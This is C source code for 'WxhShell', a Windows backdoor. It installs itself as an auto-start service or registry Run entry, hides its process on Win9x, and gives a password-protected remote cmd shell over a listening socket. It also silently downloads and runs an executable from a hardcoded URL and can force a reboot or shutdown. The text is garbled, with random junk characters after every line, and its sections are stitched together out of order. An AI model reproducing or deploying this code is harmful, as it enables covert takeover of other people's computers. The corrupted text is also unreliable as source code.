    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (5]}5W*  
    else { p]3?gK-  
    closesocket(wsh); I? ,>DHUX  
    ExitThread(0); D3|I:Xm  
    } $DG?M6   
    break; ~69&6C1Ch  
    }  w@,zFV  
  // 获取shell P.gb 1$7<  
  case 's': { '7O3/GDK  
    CmdShell(wsh); bhniB@<  
    closesocket(wsh); 13taFV dU  
    ExitThread(0); {<<U^<6}  
    break; 6gc>X%d`K  
  } ,v"YqD+GC5  
  // 退出 x.-+[l[1 !  
  case 'x': { / m=HG^!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c38D}k^):  
    CloseIt(wsh); 4?B\O`sy.  
    break; eM8}X[  
    } '- zD  
  // 离开 dAuJXGo  
  case 'q': { 82l~G;.n3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bve.C  
    closesocket(wsh); HTG%t/S  
    WSACleanup(); ~3<> 3p  
    exit(1); wmTb97o  
    break; d3xmtG {i  
        } #ep`nf0x  
  } 'inFKy'H  
  } )ut&@]  
F w?[lS  
  // 提示信息 M3.do^ss  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A0Qb 5e  
} YPxM<Gfa8  
  } Yw- G'  
ov, hI>0!D  
  return; (!:,+*YY  
} YOcO4   
7Op>i,HZk\  
// shell模块句柄 v?geCe=ng  
int CmdShell(SOCKET sock) CB^U6ZS  
{ @{2 5xTt  
STARTUPINFO si; 0)gdB'9V_  
ZeroMemory(&si,sizeof(si)); \kZ?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |:gf lseE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ff^=Ruf$  
PROCESS_INFORMATION ProcessInfo; W)bLSL]`E  
char cmdline[]="cmd"; +U3DG$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hv?9*tLh0  
  return 0; 'tH_p  
} [@.!~E)P  
')cMiX\v  
// 自身启动模式 ;=MU';o  
int StartFromService(void) K|epPGRr  
{ {z{bY\  
typedef struct yK=cZw%D  
{ A*\.NTM  
  DWORD ExitStatus; 5?x>9C a  
  DWORD PebBaseAddress; (JOgy .5C~  
  DWORD AffinityMask; r8RoE`/T  
  DWORD BasePriority; ,>%}B3O:Y=  
  ULONG UniqueProcessId; %$.3V#?  
  ULONG InheritedFromUniqueProcessId; K|[*t~59  
}   PROCESS_BASIC_INFORMATION; jWA(C; W  
'd9INz.  
PROCNTQSIP NtQueryInformationProcess; %#kg#@z_`e  
%lGl,me H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9w7n1k.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HMNLa*CL'  
2fL;-\!y(  
  HANDLE             hProcess; H*PSR  
  PROCESS_BASIC_INFORMATION pbi; Y^wW2-,m  
8)_XJ"9)G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 50S&m+4d+  
  if(NULL == hInst ) return 0; _z|65H  
C&(N I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yo6*C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |IzPgC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [<@.eH$hU/  
D9H?:pmv?  
  if (!NtQueryInformationProcess) return 0; asppRL||  
 "y}--  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W:pIPDx1=!  
  if(!hProcess) return 0; NXrJfp  
)6Fok3u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uxr #QA  
_ 9F9W{'  
  CloseHandle(hProcess); o6.^*%kM'  
f*?]+rz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zBzZxK>$  
if(hProcess==NULL) return 0; VY7[)  
_l8 9  
HMODULE hMod; \!.B+7t=I  
char procName[255]; *Q "wwpl?  
unsigned long cbNeeded; [1Qo#w1  
+nFu|qM}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Z mg#  
lR6@ xJd:@  
  CloseHandle(hProcess); qm/22:&v5  
V_.5b&@  
if(strstr(procName,"services")) return 1; // 以服务启动 Q+{xZ'o"Z  
A P?R"%  
  return 0; // 注册表启动 D2Kp|F;  
} tEvut=k'  
*0Skd  
// 主模块 vApIHI?-  
int StartWxhshell(LPSTR lpCmdLine) G[uK-U  
{ MP Y[X[  
  SOCKET wsl; <L8'!q}  
BOOL val=TRUE; oqO(PU  
  int port=0; @@Kp67Iv  
  struct sockaddr_in door; 8V`WO6*  
EE06h-ns  
  if(wscfg.ws_autoins) Install(); &5B'nk"  
vXrx{5gz  
port=atoi(lpCmdLine); 3 /g~A{  
(c=6yV@  
if(port<=0) port=wscfg.ws_port; \ C+~m  
1#< '&Lr  
  WSADATA data; dO! kk"qn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T $>&[f$6  
?]_$Dcmx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hj*pTuym  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %K=?@M9i  
  door.sin_family = AF_INET; <lPm1/8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )Q&(f/LT  
  door.sin_port = htons(port); BYL)nCc  
spH7 /5}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U ]H#MiC!  
closesocket(wsl); ) j#`r/  
return 1; FpmM63$VN[  
} 2*;~S4 4  
*v^Jb/E315  
  if(listen(wsl,2) == INVALID_SOCKET) { 9<6;Hr,>G  
closesocket(wsl); P64PPbP  
return 1; _Xe>V0   
} un mJbY;t  
  Wxhshell(wsl); Q4#m\KK;i9  
  WSACleanup(); \kL 3.W_  
/K@XzwM  
return 0; M=@:ZQ^!  
&R'c.  
} aFX=C >M  
7W Ly:E"  
// 以NT服务方式启动 uP)'FI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _^Ubs>d=*  
{ /L g)i\R;  
DWORD   status = 0; /$Nsd  
  DWORD   specificError = 0xfffffff; 3w*R&  
2j [=\K]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JzQ_{J`k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y4?0j:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xX&+WR  
  serviceStatus.dwWin32ExitCode     = 0; fgp]x&5Q  
  serviceStatus.dwServiceSpecificExitCode = 0; n,y ZRY  
  serviceStatus.dwCheckPoint       = 0; \h/H#j ZJ  
  serviceStatus.dwWaitHint       = 0; ]vUwG--*  
cKca;SNql1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r,73C/*&/  
  if (hServiceStatusHandle==0) return; RLjc&WhzXu  
*SJ_z(CZm  
status = GetLastError(); ,aZ[R27rpL  
  if (status!=NO_ERROR) >C>.\  
{ gV's=cQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s%7t"-=&  
    serviceStatus.dwCheckPoint       = 0;  ~d.Y&b  
    serviceStatus.dwWaitHint       = 0; ,wb:dj-  
    serviceStatus.dwWin32ExitCode     = status; C2kPMB=Xo  
    serviceStatus.dwServiceSpecificExitCode = specificError; G5BfNU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )hsgC'H{~]  
    return; Ko<:Z)PS  
  } w3ResQ   
2~)`N>@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `KoV_2|  
  serviceStatus.dwCheckPoint       = 0; z#wkiCRYm  
  serviceStatus.dwWaitHint       = 0; T4Uev*A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <44G]eb  
} hD 82tr  
lfow1WRF  
// 处理NT服务事件,比如:启动、停止 *w`sM%]Rq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |tH4:%Q'  
{ UcHJR"M~c  
switch(fdwControl) `g=J%p  
{ 6xx ?A>:  
case SERVICE_CONTROL_STOP: 6P l<'3&  
  serviceStatus.dwWin32ExitCode = 0; MAR'y8I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <dtGK~_  
  serviceStatus.dwCheckPoint   = 0; 6@5+m 0`u3  
  serviceStatus.dwWaitHint     = 0; >1Ibc=}g  
  { E<Y$>uKA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GR_-9}jQP  
  } `4J$Et%S  
  return; K\Wkoi5  
case SERVICE_CONTROL_PAUSE: iOghb*aW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p?OoC  
  break; Dw.J2>uj  
case SERVICE_CONTROL_CONTINUE: k1~&x$G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cOJo3p;&  
  break; jvL[ JI,b  
case SERVICE_CONTROL_INTERROGATE: Ynj,pl  
  break; =&]g "a'  
}; rglXs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b2Fe<~S{  
} K($Npuu]  
6<QQ@5_  
// 标准应用程序主函数 r#p9x[f<Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +~$ ]} %  
{ EW OVx*l  
sY&IquK^  
// 获取操作系统版本 B~ GbF*j  
OsIsNt=GetOsVer(); .*Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N =}A Z{$  
5|s\* bV`  
  // 从命令行安装 kbQ>a5`,x  
  if(strpbrk(lpCmdLine,"iI")) Install(); #=A)XlZMd  
)7Wf@@R'F  
  // 下载执行文件 AQvudx)@"  
if(wscfg.ws_downexe) { 6A-|[(NS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /W<;Z;zk  
  WinExec(wscfg.ws_filenam,SW_HIDE); jV1.Yz (`  
} hMO=#up&  
wlqksG[B  
if(!OsIsNt) { ^6V[=!& H  
// 如果时win9x,隐藏进程并且设置为注册表启动 yNBfUj -L  
HideProc(); &j"?\f?  
StartWxhshell(lpCmdLine); db7B^|Di  
} g8% &RG  
else #q=Efn'  
  if(StartFromService()) +a+Om73B2  
  // 以服务方式启动 ^hM4j{|&M  
  StartServiceCtrlDispatcher(DispatchTable); dUZ ,m9u  
else ;4|15S  
  // 普通方式启动 <\^8fn   
  StartWxhshell(lpCmdLine); f2`2,?  
VY4yS*y  
return 0; _]H&,</  
} yvB.&<]No  
Z@!+v 19^  
e*NnVys  
/nA{#HY  
=========================================== YNF k  
BW4J>{  
htF] W|z  
T(Eugl"  
gjDHo$  
HIZe0%WPw  
" 2^ nxoye  
E ~<JC"]  
#include <stdio.h> ](8[}CeL  
#include <string.h> '5$b-x6F  
#include <windows.h> >|UOz&  
#include <winsock2.h> %IWPM"  
#include <winsvc.h> 2FJ*f/  
#include <urlmon.h> Tyx_/pJT  
3f{3NzN  
#pragma comment (lib, "Ws2_32.lib") lt8|9"9<  
#pragma comment (lib, "urlmon.lib") @Jw-8Q{  
UZ+<\+q3^  
#define MAX_USER   100 // 最大客户端连接数 M .mfw#*  
#define BUF_SOCK   200 // sock buffer D'Q\za  
#define KEY_BUFF   255 // 输入 buffer EaN6^S=  
N`e[:[  
#define REBOOT     0   // 重启 XXa|BZ1RX  
#define SHUTDOWN   1   // 关机 cVF "!.  
3 Za}b|  
#define DEF_PORT   5000 // 监听端口 AoxA+.O  
h2d(?vOT  
#define REG_LEN     16   // 注册表键长度 i8]S:49  
#define SVC_LEN     80   // NT服务名长度 T_4/C2  
,k3FRes3  
// 从dll定义API ISvpQ 3{)s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &%J08l6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X'iWJ8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wFZP,fQ9l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &tj!*k'  
%EB/b  
// wxhshell配置信息 Ysv" 6b}  
struct WSCFG { vdwsJPFbc  
  int ws_port;         // 监听端口 Gk6iIK  
  char ws_passstr[REG_LEN]; // 口令 >z@0.pN]7  
  int ws_autoins;       // 安装标记, 1=yes 0=no jse&DQ  
  char ws_regname[REG_LEN]; // 注册表键名 S)@j6(HC4  
  char ws_svcname[REG_LEN]; // 服务名 sXFZWj }\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9G2FsM|,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I; rGD^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a\*yZlXKs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =T7.~W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0o&5 ]lEe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $IpccZpA  
A.w.rVDD  
}; 6D3B^.r j]  
X"%gQ.1|{j  
// default Wxhshell configuration )9]PMA?u  
struct WSCFG wscfg={DEF_PORT, 1$h,m63)  
    "xuhuanlingzhe", l.M0`Cn-%  
    1, Iu=(qU  
    "Wxhshell", f3y=Wxk[  
    "Wxhshell", sRb9`u =)  
            "WxhShell Service", }Zp,+U*"  
    "Wrsky Windows CmdShell Service", |2A:eI8 ^  
    "Please Input Your Password: ", SOIN']L|V[  
  1, do'GlU oMC  
  "http://www.wrsky.com/wxhshell.exe", <N~K ;n v  
  "Wxhshell.exe" 4#Jg9o   
    }; A@#E@ ;lm  
p6S8VA  
// 消息定义模块 =Dj#gV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "\yT7?},  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2GG2jky{/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zfdl45  
char *msg_ws_ext="\n\rExit."; VUuE T  
char *msg_ws_end="\n\rQuit."; 2&cT~ZX&'  
char *msg_ws_boot="\n\rReboot..."; m9;SrCN_  
char *msg_ws_poff="\n\rShutdown..."; v`T c}c '  
char *msg_ws_down="\n\rSave to "; qf-8<{T  
wC'Szni  
char *msg_ws_err="\n\rErr!"; -mh3DhJ,  
char *msg_ws_ok="\n\rOK!"; *{5fq_  
(/$^uWj  
char ExeFile[MAX_PATH]; {P-):  
int nUser = 0; ~&uHbTq  
HANDLE handles[MAX_USER]; Dw"\/p:-3  
int OsIsNt; {M)Nnst"~  
&H+xzN  
SERVICE_STATUS       serviceStatus; 'Pbr v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #5uOx(>  
uXiN~j &Be  
// 函数声明 ?e?!3Bx;EM  
int Install(void); t_1L L >R  
int Uninstall(void); /x *3}oI  
int DownloadFile(char *sURL, SOCKET wsh); \w8\1~#  
int Boot(int flag); 7d\QB (~  
void HideProc(void); K (|}dl:  
int GetOsVer(void); @O~pV`_tD  
int Wxhshell(SOCKET wsl); nJ;.Td  
void TalkWithClient(void *cs); R.3q0yZ wF  
int CmdShell(SOCKET sock); cWm$;`Q#\  
int StartFromService(void); # f\rt   
int StartWxhshell(LPSTR lpCmdLine); 8zb /xP>  
n=q 76W\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0n'_{\yz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G#$-1"!`  
_yT Ed"$  
// 数据结构和表定义 !<F3d`a  
SERVICE_TABLE_ENTRY DispatchTable[] = fV~[;e;U.  
{ vih9 KBT  
{wscfg.ws_svcname, NTServiceMain}, q,%st~  
{NULL, NULL} Dt1jW  
}; G!yP w:X  
2~2 O V  
// 自我安装 2`-Bs  
int Install(void) VxBo1\'  
{ 2Khv>#l  
  char svExeFile[MAX_PATH]; 6S{l' !s'  
  HKEY key; \{YU wKK/A  
  strcpy(svExeFile,ExeFile); s#GLJl\E_P  
_e2=ado  
// 如果是win9x系统,修改注册表设为自启动 }-`4DHgq  
if(!OsIsNt) { 2KZneS`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %l%HHT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K)P%;X  
  RegCloseKey(key); !@"OB~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rZpXPI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QsW/X0YBv  
  RegCloseKey(key); Fj!U|l\_9  
  return 0; H;"4 C8K7  
    } !`r$"}g  
  } ajpX L  
} 8?C5L8)  
else { 47B&s   
5-A\9UC*@  
// 如果是NT以上系统,安装为系统服务 & nK<:^n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ./~(7o$  
if (schSCManager!=0) *K; ~!P  
{ -n;}n:w L  
  SC_HANDLE schService = CreateService WY]s |2a  
  (  AOx[  
  schSCManager, S8gs-gL#Og  
  wscfg.ws_svcname, d d;T-wa}  
  wscfg.ws_svcdisp, fB,_9K5i  
  SERVICE_ALL_ACCESS, ##ANrG l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i@'dH3-kO  
  SERVICE_AUTO_START, P93@;{c(  
  SERVICE_ERROR_NORMAL, 6H|S;K+  
  svExeFile, ;n},"&  
  NULL, sR8"3b<qA  
  NULL, 3 gf1ownC  
  NULL, |f##5fB  
  NULL, % u6Sr5A[s  
  NULL b`_Q8 J  
  ); B7%U_F|m  
  if (schService!=0) FgO)DQm  
  { _vZOZKS+  
  CloseServiceHandle(schService); IGN1gs  
  CloseServiceHandle(schSCManager); [00m/fT6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,+ ~W4<f  
  strcat(svExeFile,wscfg.ws_svcname); I}Q2Vu<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J=yTbSN\v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3uMy]HUQ  
  RegCloseKey(key); Xm&L B X  
  return 0; \`"ht  
    } ']oQ]Yx0  
  } w*Ihk)  
  CloseServiceHandle(schSCManager); "7`<~>9t.  
} .|=\z9_7S8  
} &.ACd+Cd  
<-0]i_4sK  
return 1; 92-I~ !d  
} {XHh8_ ^&  
A)KZa"EX  
// 自我卸载 |K~Nw&rZ]  
int Uninstall(void) ]%(2hY~i  
{ y> (w\K9W  
  HKEY key; oXS}IL og'  
H[|~/0?K  
if(!OsIsNt) { ?1".;foZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _XT pU  
  RegDeleteValue(key,wscfg.ws_regname); /7LR;>Bj  
  RegCloseKey(key); -^wl>}#*T3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =Runf +}  
  RegDeleteValue(key,wscfg.ws_regname); |&jXp%4T  
  RegCloseKey(key); w=@Dv  
  return 0; YoE3<[KD(  
  } JN6B~ZNf  
} O9p|a%o  
} uVU)d1N  
else { rQ9'bCSr%  
P>6{&(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aN=B]{!  
if (schSCManager!=0) r%N)bNk~  
{ tI{_y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'W#D(l9nI  
  if (schService!=0) 1nOCQ\$l  
  { bN88ua}k{  
  if(DeleteService(schService)!=0) { |Ds=)S" K  
  CloseServiceHandle(schService); O1kl70,`R  
  CloseServiceHandle(schSCManager); ]{LjRSV  
  return 0; +^<](z  
  } cGD(.=  
  CloseServiceHandle(schService); BPHW}F]X  
  } yppo6HGD  
  CloseServiceHandle(schSCManager); $7uA%|\  
} 5M_H NWi4  
} p<;0g9,1  
,Lt[\_  
return 1; iyog`s c  
} 39jG8zr=Z[  
-{+}@?  
// 从指定url下载文件 *9i{,I@  
int DownloadFile(char *sURL, SOCKET wsh) PxE3K-S)G  
{ >OK^D+v"j  
  HRESULT hr; IIqUZJ  
char seps[]= "/"; -!9G0h&i|  
char *token; TOAAQ  
char *file; K4);HJ|=  
char myURL[MAX_PATH]; MJrR[h]  
char myFILE[MAX_PATH]; ;S*}WqP,  
!g.?  
strcpy(myURL,sURL); qjc4.,/  
  token=strtok(myURL,seps);  RX5dO%  
  while(token!=NULL) 8KNZ](Dj  
  { b_):MQ1{  
    file=token; 4'Zp-k?5`  
  token=strtok(NULL,seps); d`6 ' Z  
  } V470C@  
qyNyBr?  
GetCurrentDirectory(MAX_PATH,myFILE); e~':(/%|5;  
strcat(myFILE, "\\"); "wHFN>5B  
strcat(myFILE, file); D#)b+7N-  
  send(wsh,myFILE,strlen(myFILE),0); E+JqWR5  
send(wsh,"...",3,0); V2G6Kw9gt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]$_NyAoBb  
  if(hr==S_OK) 1!gbTeVlY  
return 0; '`<w#z}AF  
else ! v0LBe4  
return 1; >dG[G>  
N.{D$"  
} 6MkP |vr6  
w+{LAS  
// 系统电源模块 OydwE  
int Boot(int flag) O0y_Lm\  
{ veh<R]U  
  HANDLE hToken; m9Hit8f@Q  
  TOKEN_PRIVILEGES tkp; r0gJpttDl  
?K\axf>F  
  if(OsIsNt) { ZQ0F$J)2~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :08,JL{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }Z,x~G  
    tkp.PrivilegeCount = 1; XvlU*TO~(~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8ITdSg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '6Q =#:mc\  
if(flag==REBOOT) { C73 kJa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?1eK#Z.  
  return 0; Ue~CwFOc  
} >oe]$r  
else { ^a1^\X.~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^ovR7+V  
  return 0; H'hpEw G  
} zI<<Q2  
  } 8pgEix/M5o  
  else { y;H-m>*%  
if(flag==REBOOT) { iW /}#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ox (%5c)b|  
  return 0; cjIh}:| '  
} {,~3.5u   
else { 6f*CvW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) & 9 ?\b7  
  return 0; w)Qp?k d  
} 2('HvH]k  
} Hg$lXtn]  
,Vk3kmuvr]  
return 1; 0=E]cQwh  
} $H>W|9Kg,  
~La>?:g <+  
// win9x进程隐藏模块 <yFu*(Q  
void HideProc(void) X*Prll(  
{  'CkIz"Wd  
H}bJ"(9$vC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v-_e)m^  
  if ( hKernel != NULL ) vOpK Np  
  { -p XSSa;O9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %Qdn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kq,ucU%>p  
    FreeLibrary(hKernel); 1^(ad;BC y  
  } ;x@~A^<el  
"~C,bk  
return; 8q}q{8  
} exUu7& *:  
xjj6WED  
// 获取操作系统版本 ?oHpFlj  
int GetOsVer(void) eM?I$ePTN  
{ P! #[mio  
  OSVERSIONINFO winfo; zuy4G9P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &AbNWtCV+G  
  GetVersionEx(&winfo); 76h ,]xi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =mp;.k95  
  return 1; zsyIV!(  
  else #Kex vP&*  
  return 0; aH/ k Ua  
} FSW_<%  
X!dYdWw*m  
// 客户端句柄模块 [;) ,\\u,d  
int Wxhshell(SOCKET wsl) O5nD+qTQ#  
{ .MoU1n{Yc  
  SOCKET wsh; RO/FF<f  
  struct sockaddr_in client; GH:jH]u!V  
  DWORD myID; {go;C}  
'^~{@~ ;%L  
  while(nUser<MAX_USER) 65$+{s  
{ nwRc%C``UK  
  int nSize=sizeof(client); MJ [m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "Nbq#w\  
  if(wsh==INVALID_SOCKET) return 1; 8(&[Rs?K  
/zVOK4BqN+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B; h"lv  
if(handles[nUser]==0) .jT#:_  
  closesocket(wsh); 9c,'k#k  
else N.{H,oO `  
  nUser++; Jgd'1'FOs  
  } e_ANUll1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8_B4?` k  
EC!02S  
  return 0; Mc_YPR:C  
} 9u}Hmb  
lbl?k5  
// 关闭 socket Q%tXQP.r  
void CloseIt(SOCKET wsh) 0 e ~JMUb  
{ Z!zF\<r  
closesocket(wsh); 3/e.38m|  
nUser--; EPM-df!=  
ExitThread(0); J({Xg?  
} RF4vtQC=  
9FYUo  
// 客户端请求句柄 tKx~1-  
void TalkWithClient(void *cs) :L@?2),  
{ ZWU)\}}_R  
n QZwC  
  SOCKET wsh=(SOCKET)cs; , I (d6  
  char pwd[SVC_LEN]; /quc}"__  
  char cmd[KEY_BUFF]; `yXg{lk  
char chr[1];  J^5So  
int i,j; e95Lo+:f  
O-GJ-  
  while (nUser < MAX_USER) { &LZn FR  
/saIs%(fU  
if(wscfg.ws_passstr) { s.N/2F& *W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pz|>"'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q{I%Q)t)gU  
  //ZeroMemory(pwd,KEY_BUFF); 1 A !bE  
      i=0; j2.|ln"!  
  while(i<SVC_LEN) { O{G?;H$  
~{B7 k:  
  // 设置超时 K;Uvb(m{&  
  fd_set FdRead; |5~#&v_  
  struct timeval TimeOut; j9 4=hJVKi  
  FD_ZERO(&FdRead); ;jvBF4Lb>  
  FD_SET(wsh,&FdRead); KNpl:g3{<Q  
  TimeOut.tv_sec=8; +LZLy9iKt  
  TimeOut.tv_usec=0; i&66Fi1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =eXU@B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yi+wC}   
)j(7]uX`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OXSmt DvJ  
  pwd=chr[0]; 1;r|g)VM  
  if(chr[0]==0xd || chr[0]==0xa) { [-k  
  pwd=0; x_6[P2"PP  
  break; ?o4C;  
  } 2 %@4]  
  i++; Tx=-Bb~;  
    } wb5baY9  
*,8^@(th  
  // 如果是非法用户,关闭 socket OSWYGnZg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zrL$]Oy}x  
} K'Tm_"[u  
;F!5%}OcL%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RJ ||}5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aS{n8P6vW  
;I 9&]   
while(1) { 6YLj^w] %  
+]A:M6P:{v  
  ZeroMemory(cmd,KEY_BUFF); bv9i*]  
OgQV;at  
      // 自动支持客户端 telnet标准   ?U5{Wa85D  
  j=0; 6?mibvK  
  while(j<KEY_BUFF) { ^ H ThN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B^Nf #XN(  
  cmd[j]=chr[0]; p7VTa~\zA  
  if(chr[0]==0xa || chr[0]==0xd) { ~u!|qM  
  cmd[j]=0; J^nBdofP  
  break; _8riUt  
  } ]kG"ubHV?h  
  j++; V2?=4mb  
    } #ASz;$P  
U;V7 u/{  
  // 下载文件 9T}pT{~V  
  if(strstr(cmd,"http://")) { 4(~L#}:r!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8'.Hyy@;  
  if(DownloadFile(cmd,wsh)) ] =xE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7he,?T)vD  
  else  V!ZC(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $L>@Ed<  
  } ?WUA`/[z  
  else { HU }7zK2  
_ Yx]_Y9I  
    switch(cmd[0]) { YTX,cj#D^&  
  kg~mgMR+w  
